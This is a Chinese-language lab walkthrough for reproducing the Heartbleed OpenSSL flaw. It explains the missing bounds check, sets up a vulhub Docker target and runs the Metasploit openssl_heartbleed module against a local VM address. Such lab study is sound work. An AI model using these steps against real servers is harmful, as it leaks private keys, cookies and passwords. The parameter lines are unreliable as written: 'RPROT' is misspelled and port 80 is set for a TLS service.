漏洞范围:
OpenSSL1.0.1版本
ssl、tls、dtls介绍
在网络当中中,TCP/IP协议层之上的安全可以由Secure Socket Layer(SSL)及其替代协议Transport Layer Security (TLS)进行保障。这两个协议经常被称作SSL/TLS。HTTP是一个无状态的应用层协议,主要用来在服务器和客户端之间传输数据。HTTPS主要通过在HTTP层和TCP层之间增加了SSL/TLS层来保证服务器与客户端之间安全的传输数据。
DTLS(Datagram Transport Layer Security)即数据包传输层安全性协议,主要是试图在TLS协议架构上提出扩展,使之支持UDP。
TLS/DTLS中的心跳协议主要使用来检测两个设备之间是否还有连接的,根据RFC规定,心跳协议运行在TLS记录层之上,主要是通过交换“心跳”的方式,用来维持端与端之间的连接。
漏洞成因:
Heartbleed漏洞是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。
漏洞危害:
如同漏洞成因所讲,我们可以通过该漏洞读取每次攻击泄露出来的信息,所以可能也可以获取到服务器的私钥,用户cookie和密码等。
漏洞复现过程:
环境:Bee-box环境,kali Linux
查询虚拟机IP地址:192.168.254.129
1.安装docker
过程中记得挂VPN,否则在安装docker那一步会失败。
curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -
echo 'deb https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/ buster stable' | sudo tee /etc/apt/sources.list.d/docker.list
sudo apt-get update
sudo apt-get install docker-ce
docker -v
安装成功后界面
2.安装docker-compose
sudo curl -L "https://github.com/docker/compose/releases/download/1.25.5/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose //授权
sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose //创建软链接,可以在任意目录下使用
docker-compose --version //测试安装是否成功
3.安装vulhub
vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究更加专注于漏洞本身。
git clone https://github.com/vulhub/vulhub.git
3.复现
cd 和 ls 命令交替使用,进入到heartbleed的目录。
创建靶场环境
sudo docker-compose up -d
4.启动msf模块进行改进
终端输入:msfconsole 打开msf模块
(1)先查找heartbleed模型
search heartbleed
(2)
use auxiliary/scanner/ssl/openssl_heartbleed
(3)设置参数
set RHOST 192.168.254.129
set RPROT 80
set verbose true
(4)run或者exploit